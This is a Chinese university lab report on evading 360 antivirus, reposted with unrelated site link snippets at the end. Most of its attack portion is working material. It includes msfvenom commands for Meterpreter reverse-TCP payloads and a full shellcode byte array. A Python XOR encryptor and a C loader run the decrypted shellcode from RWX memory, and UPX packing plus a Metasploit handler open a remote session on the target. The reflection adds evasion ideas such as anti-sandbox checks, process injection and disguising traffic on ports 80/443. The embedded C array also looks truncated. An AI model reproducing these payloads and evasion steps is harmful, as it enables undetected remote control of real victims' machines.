20232402 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1 基础免杀技术测试​

(1)msfvenom 编码器免杀:

生成未编码与多次编码的反向连接恶意程序,分别复制到靶机,对比杀软拦截情况,验证编码器对特征码的混淆效果;​

(2)Veil 工具免杀:

通过 Veil 生成加密的反向连接程序,获取生成文件后复制到靶机,检查杀软是否拦截,测试工具对 shellcode 的加密与加载器隐藏效果;​

(3)手动 C 语言加载器免杀:

生成原始 shellcode 并加密,编写程序实现运行时解密与内存执行,编译后复制到靶机,验证自定义加载器对静态检测的规避作用;​

(4)加壳增强免杀:

使用 UPX 对(1)中未编码程序进行压缩加壳,将加壳后的文件复制到靶机,观察杀软对加壳后文件的检测结果。​

1.2 进阶组合免杀测试​

整合加密 shellcode、自定义 C 语言加载器、UPX 加壳三项技术,生成组合免杀程序,复制到靶机,验证多层防护对免杀成功率的提升效果。​

1.3 回连验证​

攻击机启动监听模块,配置与免杀程序一致的 IP(192.168.43.228)与端口4444;​
靶机在杀软开启状态下运行免杀程序,观察攻击机是否成功获取靶机控制会话,验证免杀程序的功能有效性。

2.实验过程

  • 攻击机:Kali Linux(内置 msfvenom、Veil 等工具),IP 地址:192.168.43.228​
  • 靶机:Windows 11(安装 360 安全卫士 14.0,用于验证免杀效果),IP 地址:192.168.43.108​
  • 网络配置:攻击机与靶机处于同一局域网(当前均在 192.168.43.x 网段,无需额外调整网络),关闭靶机防火墙(仅实验环境下操作,避免拦截正常回连)。
  • 杀软:360安全卫士13(13.0.0.2008)

2.1 使用 msfvenom 生成基础 payload 并尝试编码器免杀​

msfvenom 是 Metasploit 框架中生成 payload 的工具,编码器可对 payload 进行简单加密,绕过基于特征码的检测。​

2.1.1 生成未编码的 exe payload(用于对比):​

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.228 LPORT=4444 -f exe -o basic_shell.exe​
image
将生成的 basic_shell.exe 复制到靶机,发现杀软会报警。
image

2.1.2 使用编码器多次编码:​

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.228 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o encoded_shell.exe​
原理:通过 x86/shikata_ga_nai 编码器对 payload 进行 10 次变异,改变原始特征码,避免被杀软特征库匹配。
image
将 encoded_shell.exe 复制到靶机,检查杀软反应。​
image
很遗憾,杀软还是会报警。

2.2 使用 Veil-Evasion 生成免杀 payload​

​原理:Veil 是一款专注于免杀的工具,通过混淆、加密等方式生成绕过杀软的 payload。Veil 通过对 shellcode 进行 AES 加密,同时生成自定义 C 语言加载器,运行时在靶机内存中解密执行,避免静态特征码检测。

2.2.1 安装 Veil:​

sudo apt-get update && sudo apt-get install veil -y​
veil  # 启动 Veil,首次运行需自动安装依赖,耐心等待​

image

2.2.2 生成免杀 exe:​

在 Veil 交互界面输入 use evasion(进入免杀模块)
image

通过输入list来查看选择模块
image

选择 7) c/meterpreter/rev_tcp.py 模块,生成基于 C 语言的反向连接 payload)。​
image

​set LHOST 192.168.43.228​
端口保持 4444。
输入 generate。
按提示指定输出文件名veil_shell。​
生成完成后,界面会显示文件路径。​
image

将该文件复制到靶机(192.168.43.108),验证杀软是否拦截。
image
被拦截了。

2.3 手动编写 C 语言加载 shellcode 实现免杀​

原理:加密后的 shellcode 无明显恶意特征,静态扫描无法识别;运行时在内存中解密并执行,避免磁盘文件残留恶意代码,绕过静态检测。

2.3.1 生成原始 shellcode:​

使用 msfvenom 生成 raw 格式的 shellcode(不含文件头,便于嵌入 C 代码)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.228 LPORT=4444 -f c​
输出结果为 C 语言数组,复制该数组备用。​
image

2.3.2 对 shellcode 进行简单加密:​

手动编写 Python 脚本,将上一步复制的原始 shellcode 替换到脚本中,执行加密:​

# 替换为实际生成的shellcode(保持b""格式,合并多行字符串)
shellcode = b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x57\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20\x8b\x48\x18\x01\xd3\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x2b\xe4\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"key = 0x12  # 加密密钥,解密时需使用相同密钥
encrypted = [c ^ key for c in shellcode]  # 异或加密# 输出加密后的C语言数组,用于后续嵌入加载器(仅实验环境内部使用)
print("unsigned char encrypted_buf[] = {" + ", ".join(f"0x{byte:02x}" for byte in encrypted) + "};")

image

2.3.3 运行脚本,复制输出的 encrypted_buf 数组备用。​

编写 C 语言加载器:​
将上一步生成的 encrypted_buf 数组替换到代码中,保持密钥 0x12 不变,代码如下:​

#include <windows.h>​
​
// 替换为加密后的 shellcode 数组​
unsigned char encrypted_buf[] = {0xee, 0xfa, 0x9d, 0x12, 0x12, 0x12, 0x72, 0x9b, 0xf7, 0x23, 0xc0, 0x76, 0x99, 0x40, 0x22, 0x99, 0x40, 0x1e, 0x99, 0x40, 0x06, 0x23, 0xed, 0x99, 0x60, 0x3a, 0x1d, 0xa5, 0x58, 0x34, 0x23, 0xd2, 0xbe, 0x2e, 0x73, 0x6e, 0x10, 0x3e, 0x32, 0xd3, 0xdd, 0x1f, 0x13, 0xd5, 0x5b, 0x67, 0xfd, 0x40, 0x99, 0x40, 0x02, 0x99, 0x50, 0x2e, 0x13, 0xc2, 0x45, 0x99, 0x52, 0x6a, 0x97, 0xd2, 0x66, 0x5e, 0x13, 0xc2, 0x42, 0x99, 0x4a, 0x32, 0x99, 0x5a, 0x0a, 0x13, 0xc1, 0x97, 0xdb, 0x66, 0x2e, 0x5b, 0x23, 0xed, 0x99, 0x26, 0x99, 0x13, 0xc4, 0x23, 0xd2, 0xbe, 0xd3, 0xdd, 0x1f, 0x13, 0xd5, 0x2a, 0xf2, 0x67, 0xe6, 0x11, 0x6f, 0xea, 0x29, 0x6f, 0x36, 0x67, 0xf2, 0x4a, 0x99, 0x4a, 0x36, 0x13, 0xc1, 0x74, 0x99, 0x1e, 0x59, 0x99, 0x4a, 0x0e, 0x13, 0xc1, 0x99, 0x16, 0x99, 0x13, 0xc2, 0x9b, 0x56, 0x36, 0x36, 0x49, 0x49, 0x73, 0x4b, 0x48, 0x43, 0xed, 0xf2, 0x4a, 0x4d, 0x48, 0x99, 0x00, 0xfb, 0x92, 0xed, 0xed, 0xed, 0x4f, 0x7a, 0x21, 0x20, 0x12, 0x12, 0x7a, 0x65, 0x61, 0x20, 0x4d, 0x46, 0x7a, 0x5e, 0x65, 0x34, 0x15, 0x9b, 0xfa, 0xed, 0xc2, 0xaa, 0x82, 0x13, 0x12, 0x12, 0x3b, 0xd6, 0x46, 0x42, 0x7a, 0x3b, 0x92, 0x79, 0x12, 0xed, 0xc7, 0x78, 0x18, 0x7a, 0xd2, 0xba, 0x39, 0xf6, 0x7a, 0x10, 0x12, 0x03, 0x4e, 0x9b, 0xf4, 0x42, 0x42, 0x42, 0x42, 0x52, 0x42, 0x52, 0x42, 0x7a, 0xf8, 0x1d, 0xcd, 0xf2, 0xed, 0xc7, 0x85, 0x78, 0x02, 0x44, 0x45, 0x7a, 0x8b, 0xb7, 0x66, 0x73, 0xed, 0xc7, 0x97, 0xd2, 0x66, 0x18, 0xed, 0x5c, 0x1a, 0x67, 0xfe, 0xfa, 0x75, 0x12, 0x12, 0x12, 0x78, 0x12, 0x78, 0x16, 0x44, 0x45, 0x7a, 0x10, 0xcb, 0xda, 0x4d, 0xed, 0xc7, 0x91, 0xea, 0x12, 0x6c, 0x24, 0x99, 0x24, 0x78, 0x52, 0x7a, 0x12, 0x02, 0x12, 0x12, 0x44, 0x78, 0x12, 0x7a, 0x4a, 0xb6, 0x41, 0xf7, 0xed, 0xc7, 0x81, 0x41, 0x78, 0x12, 0x44, 0x41, 0x45, 0x7a, 0x10, 0xcb, 0xda, 0x4d, 0xed, 0xc7, 0x91, 0xea, 0x12, 0x6f, 0x3a, 0x4a, 0x7a, 0x12, 0x52, 0x12, 0x12, 0x78, 0x12, 0x42, 0x7a, 0x19, 0x3d, 0x1d, 0x22, 0xed, 0xc7, 0x45, 0x7a, 0x67, 0x7c, 0x5f, 0x73, 0xed, 0xc7, 0x4c, 0x4c, 0xed, 0x1e, 0x36, 0x1d, 0x97, 0x62, 0xed, 0xed, 0xed, 0xfb, 0x89, 0xed, 0xed, 0xed, 0x13, 0xd1, 0x3b, 0xd4, 0x67, 0xd3, 0xd1, 0xa9, 0xe2, 0xa7, 0xb0, 0x44, 0x78, 0x12, 0x41, 0xed, 0xc7};
};  ​
int key = 0x12;  // 与加密密钥完全一致,确保解密成功​
​
int main() {​// 1. 分配可执行内存(用于存储解密后的 shellcode)​int len = sizeof(encrypted_buf);​unsigned char *buf = (unsigned char*)VirtualAlloc(​0,                  // 自动分配内存地址​len,                // 内存大小(与 shellcode 长度一致)​MEM_COMMIT | MEM_RESERVE,  // 提交并保留内存​PAGE_EXECUTE_READWRITE  // 内存权限:可执行、可读、可写​);​
​// 2. 解密 shellcode​for (int i = 0; i < len; i++) {​buf[i] = encrypted_buf[i] ^ key;​}​
​// 3. 执行 shellcode(通过函数指针调用内存中的代码)​((void(*)())buf)();​return 0;​
}​

image

2.3.4 编译为 exe:​

在 Windows 靶机编译:​
打开命令提示符,进入 C 代码所在目录,执行:​
gcc make.c -o make.exe -std=c99
image

2.3.5 验证免杀效果:​

直接在靶机运行 make.exe,观察杀软是否拦截。​
image
居然没有!免杀成功啦~

2.4 加壳工具增强免杀​

原理:UPX 通过压缩 exe 文件的代码段和数据段,改变文件的原始二进制结构,使杀软无法提取未加壳前的恶意特征码,同时不影响文件运行时的解压缩和执行。

2.4.1 以 UPX 为例,对 2.1.1 中未编码的 basic_shell.exe加壳:​

upx -9 basic_shell.exe -o basic_shell_packed.exe # -9 表示最高压缩率,最大化隐藏原始代码​
image

2.4.2 将 custom_shell_packed.exe 复制到靶机,验证杀软反应。​

image
很遗憾,失败了。

2.5 组合技术实现免杀​

通过生成加密 shellcode + 自定义 C 加载器 + UPX 加壳组合,进一步提升免杀成功率。​

2.5.1 对恶意文件(这里用的是2.3的make.exe) custom_shell.exe 加壳:​

upx -9 custom_shell.exe -o custom_shell_packed.exe # -9 表示最高压缩率,最大化隐藏原始代码​
image

2.5.2 将 custom_shell_packed.exe 复制到靶机,验证杀软反应。​

image
成功啦!

2.6 回连验证​

  • 攻击机(Kali)开启监听​
    启动 msfconsole 并配置监听,确保 LHOST 和 LPORT 与 payload 一致
msfconsole  # 启动 Metasploit 控制台​
use exploit/multi/handler  # 加载反向连接监听模块​
set PAYLOAD windows/meterpreter/reverse_tcp  # 设置与 payload 匹配的 payload 类型​
set LHOST 192.168.43.228  # 监听地址:Kali 实际 IP​
set LPORT 4444  # 监听端口:与 payload 端口一致​
run  # 启动监听,等待靶机连接​

image

  • 靶机(Windows)运行免杀程序​ custom_shell_packed.exe。​

监听成功,Kali 终端显示 “Meterpreter session opened”,表示已获取靶机的 meterpreter 会话,可执行 ipconfig、shell 等命令验证控制权。
image
image
image

3.问题及解决方案

  • 问题1:由于联网失败,没办法从github.com上下载veil
    7187eda41dcc3aaf129abf722672738e

  • 问题1解决方案:虽然按道理桥接网卡也是能够联网的,但是此处就是不行。所以换了NAT,可以正常联网了。
    image

  • 问题2:在veil中执行generate时权限不足。
    image

  • 问题2解决方案:加个sudo就成了。

  • 问题3:Meterpreter 会话建立后,默认未加载 stdapi 扩展,而 shell、pwd、ipconfig 等命令依赖该扩展提供的系统接口。
    image

  • 问题3解决方案:手动加载 stdapi 扩展。在 Meterpreter 会话中执行以下命令即可:
    load stdapi
    image

4.学习感悟、思考等

4.1 感悟:

这次实验还是蛮简单的,相比实验一、二花费9h+,这次只花了5h~
我的实验只有2.3使用C + shellcode编程以及组合包含2.3在内的各种技术时才能成功免杀,不禁让我感叹道高一尺魔高一丈,360虽然已经能够一步步识破并拦截如此多种类的恶意代码,但还是存在拦不住的危机。看来维护网络安全的重担马上要落在我们肩上啦!

4.2 思考:

4.2.1 杀软是如何检测出恶意代码的?​

结合实验中 “未编码 exe 被拦截、编码后可能绕过” 的现象,杀软检测恶意代码的核心逻辑可分为静态检测和动态检测两类,对应实验中不同阶段的验证结果:​

  • 静态检测:不运行文件,通过 “特征匹配” 识别恶意代码​
    这是实验中 “基础 exe 被秒拦” 的核心原因。杀软会提前收集已知恶意代码的 “特征码”(如特定字节序列、函数调用组合),并存储在特征库中。当检测文件时,会扫描文件的二进制数据、字符串、导入表(如实验中 C 代码调用的VirtualAlloc函数,若频繁出现在恶意代码中,可能被标记为可疑特征),与特征库比对。​​
  • 动态检测:运行文件后,通过 “行为分析” 识别恶意行为​
    若静态检测未命中,杀软会监控文件运行时的行为(如实验中免杀 exe 回连攻击机的过程)。常见检测行为包括:​
    (1)网络行为:如实验中反向连接(reverse_tcp)向陌生 IP 发送数据、监听特定端口;​
    (2)内存行为:如实验中 C 代码调用VirtualAlloc分配可执行内存(PAGE_EXECUTE_READWRITE)、将 shellcode 写入内存并执行(这种 “内存注入” 行为是恶意代码的典型特征);​
    (3)系统操作:如修改注册表、创建自启动项、删除日志等(实验中未涉及,但属于动态检测重点)。​
    (4)启发式检测:结合静态 + 动态,预判 “潜在恶意”。若文件无明确恶意特征,但行为符合恶意代码的 “规律”(如实验中 “加密 shellcode + 内存执行” 的组合,虽无已知特征,但操作逻辑异常),杀软会通过启发式规则判定为可疑文件,触发拦截或提醒。​

4.2.2 免杀是做什么?​

结合实验目标(“让恶意代码在杀软开启时运行并回连”),免杀的核心是通过技术手段,规避杀软的静态检测、动态检测和启发式检测,使恶意代码能在目标环境中正常执行预期功能(如实验中的 meterpreter 回连),且不被发现或拦截。​
本质:不是 “消灭恶意代码的恶意性”,而是 “隐藏恶意代码的特征和行为”,让杀软 “认不出、查不到”。​
实验中的免杀目标:让encoded_shell.exe、veil_shell.exe、custom_shell.exe等文件,在 360、火绒等杀软开启时,既不被静态扫描拦截,也不被动态行为监控阻断,最终成功回连 Kali 的 meterpreter。​

4.2.3 免杀的基本方法有哪些?​

结合实验中使用的msf编码器、Veil、C+shellcode、UPX加壳等操作,免杀的基本方法可归纳为针对静态检测的免杀针对动态检测的免杀 ,对应实验中不同技术的应用场景:​

  • 针对静态检测的免杀:混淆 / 破坏 “恶意特征码”​
    核心思路:让杀软在静态扫描时,找不到与特征库匹配的恶意代码片段,对应实验中 “编码、加密、加壳” 等操作。​
    (1)编码器混淆特征码(实验步骤 2.1)​
    使用 msfvenom 的-e参数选择编码器(如x86/shikata_ga_nai),对 payload 的字节序列进行加密或变形(如异或、Base64 编码),破坏原始恶意特征码。编码次数越多(-i 10),特征码变异越明显,但需注意:过度编码可能导致文件无法运行。​
    (2)shellcode 加密(自定义 / C + 加密)(实验步骤 2.3)​
    手动对 msf 生成的 raw shellcode 进行加密(如实验中的 XOR 异或加密),再通过 C 加载器运行时解密。此时静态扫描只能看到加密后的乱码,无法识别原始 shellcode 特征;同时自定义 C 加载器的代码(如简单的 main 函数 + 解密逻辑)无恶意特征,进一步规避静态检测。​
    (3)加壳隐藏文件结构(实验步骤 2.4)​
    使用 UPX 等加壳工具对 exe 文件进行压缩或加密,改变文件的原始二进制结构(如隐藏导入表、混淆代码段)。杀软静态扫描时,只能看到加壳后的 “壳代码”,无法提取内部的恶意 shellcode 特征,从而绕过检测。​
  • 4.3.2 针对动态检测的免杀:伪装 / 规避 “恶意行为”​
    核心思路:即使文件运行,也要让杀软监控不到异常行为,对应实验中 Vei-l 的高级功能(未完全展开)和潜在优化方向:​
    (1)行为伪装:模拟正常程序操作​
    如实验中 C 加载器可添加 “正常功能代码”(如弹出一个记事本窗口、显示简单界面),掩盖 “内存执行 shellcode” 的核心行为;同时控制网络行为(如将回连端口改为 80/443,伪装成 HTTP/HTTPS 流量),避免被动态监控判定为异常网络连接。​
    (2)反沙箱 / 反调试:规避杀软的动态分析环境​
    杀软通常会在 “沙箱”(模拟正常系统的隔离环境)中运行可疑文件,若检测到沙箱特征(如 CPU 核心数异常、硬盘容量过小),恶意代码会停止执行,避免行为暴露。实验中可在 C 代码中添加 “沙箱检测逻辑”(如判断GetDiskFreeSpace返回的硬盘大小),仅在真实系统中执行回连操作。​
    (3)内存保护:隐藏 shellcode 执行痕迹​
    实验中 C 代码使用VirtualAlloc分配可执行内存,这种操作本身易被动态检测。优化方向:可通过 “内存解密后立即释放密钥”“使用合法 API 间接执行 shellcode”(如通过CreateRemoteThread注入到正常进程,而非自身进程),减少内存中的恶意行为痕迹。​
  • 组合免杀:多层防护,提升成功率(实验步骤 3)​
    单一免杀方法易被绕过(如仅编码可能被动态检测拦截),实验中 “生成加密 shellcode + 自定义 C 加载器 + UPX 加壳” 的组合,就是通过 “静态(加密 + 加壳)+ 动态(Veil 自带的行为优化)” 多层防护,最大化规避杀软检测。实际场景中,还可结合 “修改文件签名”“绑定到正常程序(如记事本.exe)” 等方法,进一步降低可疑度。​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/948011.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

读书日记3

6到10章深入探讨了编程中最基础的元素——变量和数据类型,让我看到了平凡中的非凡。 核心收获与深刻见解: 1.变量命名的艺术性:McConnell详细阐述了优秀变量名的特征——表达"什么"而不是"如何"…

2025年多商户商城代理招募加盟/多商户项目合伙人加盟最新推荐榜:多商户兼职项目合伙人/B2B2C商城代理招募公司/聚焦项目孵化与商户扶持能力深度解析

随着大众创业热潮持续升温,以及数字化商业模式的快速迭代,创业者在选择项目合作方时常常面临多重考量 —— 如何辨别企业项目的可行性、如何匹配自身资源的合作模式、如何降低创业初期的运营风险,成为当下创业者关注…

20232420 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容学会使用msf编码器,veil-evasion,利用shellcode编程,加壳等免杀工具或技巧。尝试实现恶意代码免杀。理解免杀机制和原理,认识到杀软局限性。2.实验过程 2.1 免杀效果参考基准 2.1.1 免杀效果的评价 用Vi…

掘金2025年:数字化商业浪潮下,如何选对平台与伙伴?一站式多商户商城系统推荐榜发布,多商户商城代理招募/多商户项目合伙人加盟/一站式开店代理项目加盟

随着数字化转型深入各行各业,个体创业与企业多渠道拓展需求激增,能够整合资源、快速部署、共享收益的多商户商城模式已成为市场新蓝海。2025年,预计相关平台与服务市场规模将持续扩大,但市场中项目质量、技术支撑与…

Tuack 生成 OI 比赛题目 PDF 笔记

一些关于 Tuack 生成 OI 比赛题目 PDF 的笔记Part 1. Tuack 的基本介绍 Tuack,是一个由来自 THU 的大佬 Mulab11 开发的,用于造算法竞赛题目的工具。 你可以用它:导出 PDF、Markdown、HTML 等多种不同格式,NOI、CP…

为医疗器械行业搭建“数字桥梁”,破解协同效率与合规难题

当传统沟通方式成为行业发展瓶颈,数字化协同正重塑医疗器械供应链的竞争力格局。当传统沟通方式成为行业发展瓶颈,数字化协同正重塑医疗器械供应链的竞争力格局。 “每天在微信、QQ群里有上百条沟通,订单、发货、发…

# 20232312 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容 1.1本周学习内容Metasploit 框架使用C语言编程与Shellcode集成跨平台编译技术加壳与免杀技术1.2回答问题 1.2.1杀毒软件如何检测恶意代码? 杀毒软件采用多种技术手段综合判断,主要方法包括:特征码检测原…

PostgreSQL 服务版

PostgreSQL 二进制下载地址 https://www.enterprisedb.com/download-postgresql-binaries尽量使用管理员权限 开始步骤 1.找到下载的目录,我这里使用的是版本18 C:\Users\Administrator\Downloads\pgsql 解压后会得到…

20232307 2025-2026-1 《网络与系统攻防技术》实验三实验报告

20232307 2025-2026-1 《网络与系统攻防技术》实验三实验报告 1. 实验内容 本周学习内容:免杀一般是对恶意软件做处理,让它不被杀毒软件所检测。 杀毒软件原理包括:特征码、启发式、基于行为;文件校验和;云查杀;机…

配置idea创建文件时自动生成注解(如类注释、作者信息等)

可以按照以下步骤操作: 1. 配置类 / 接口的文件模板 适用于创建 Java 类、接口、枚举等文件时自动生成注释:打开设置:File > Settings(Windows/Linux)或 IntelliJ IDEA > Preferences(Mac)进入 Editor &g…

产品经理如何使用AI Agent智能体?一份深度测评与实战指南

引言 当你还在不同的AI工具中频繁切换时,一个名为“AI Agent”智能体的集合性工具,已经成为很多产品经理爱不释手的工具了。什么是产品经理的AI Agent智能体?它不是一个单点功能的AI工具,而是能充分理解逻辑、联系…

手机AIldquo;造反rdquo;了?你可能还不知道的四件大事儿

手机AI&ldquo;造反&rdquo;了?你可能还不知道的四件大事儿哎,自打ChatGPT火了以后,咱们是不是都觉得云上的AI特牛?啥都能聊,啥都懂。但说实话,你用着不烦吗?网一卡就“正在连接”,老担心自己的聊天记录…

2025年10月办公家具公司评价榜:基于真实数据的权威推荐清单

在现代办公环境不断升级的背景下,企业对办公家具的需求呈现出多元化、专业化的发展趋势。根据中国家具协会发布的行业报告显示,2024年办公家具市场规模已达到约1800亿元,年增长率保持在8%左右。越来越多的企业管理者…

vue+antv/x6项目使用问题

今天在解决使用这个框架进行流程绘制的使用,出现了一个问题,就是在引入以下插件的时候,一直报错import { Stencil } from @antv/x6-plugin-stencil错误信息为解决方法为 在vite.config.ts文件中增加以下信息resolve…

2025年10月办公家具公司推荐榜:五大品牌综合对比与权威评测

在现代办公环境中,选择合适的办公家具公司成为企业管理者面临的重要课题。根据行业调研数据显示,2025年办公家具市场规模持续扩大,企业用户对家具的需求呈现多元化趋势。无论是初创企业追求性价比,还是成熟企业注重…

《程序员修炼之道:从小工到专家》前五分之一观后感

《程序员修炼之道》前五分之一的内容,像一剂清醒剂,打破了我对“程序员成长”的浅层认知。这部分围绕“职业程序员的自我定位”展开,没有高深技术讲解,却用直白的观点,点出了从“小工”起步的关键认知跃迁。 “你…

2025年10月办公家具公司对比榜:行业现状与选购要点

在现代商业环境中,办公家具的选择不仅关乎员工的工作效率与舒适度,更直接影响企业形象与运营成本。随着2025年企业数字化转型的加速,办公家具行业呈现出智能化、模块化、人性化的发展趋势。根据中国家具协会发布的行…

坐标系与投影关系

[地理坐标系]4326 (WGS-84) 4490 (CGCS2000)|投影 |投影v v3857 (Web Mercator) 32650 (UTM Zone50N)

2025年10月办公家具供应商综合评测:服务与性价比的平衡之道

作为企业管理者或行政负责人,您在规划办公空间时往往面临多重挑战:如何在家具采购中平衡预算与品质,如何确保家具符合人体工学标准以提升员工工作效率,以及如何在家具交付安装过程中避免影响正常办公节奏。根据行业…

10.27及动手动脑

今天上了两节UML统一建模语言课,上了两节算法与数据结构,上了四节java课,创建了mysql数据库及数据表 https://files.cnblogs.com/files/blogs/847689/动手动脑4.zip?t=1761560541&download=true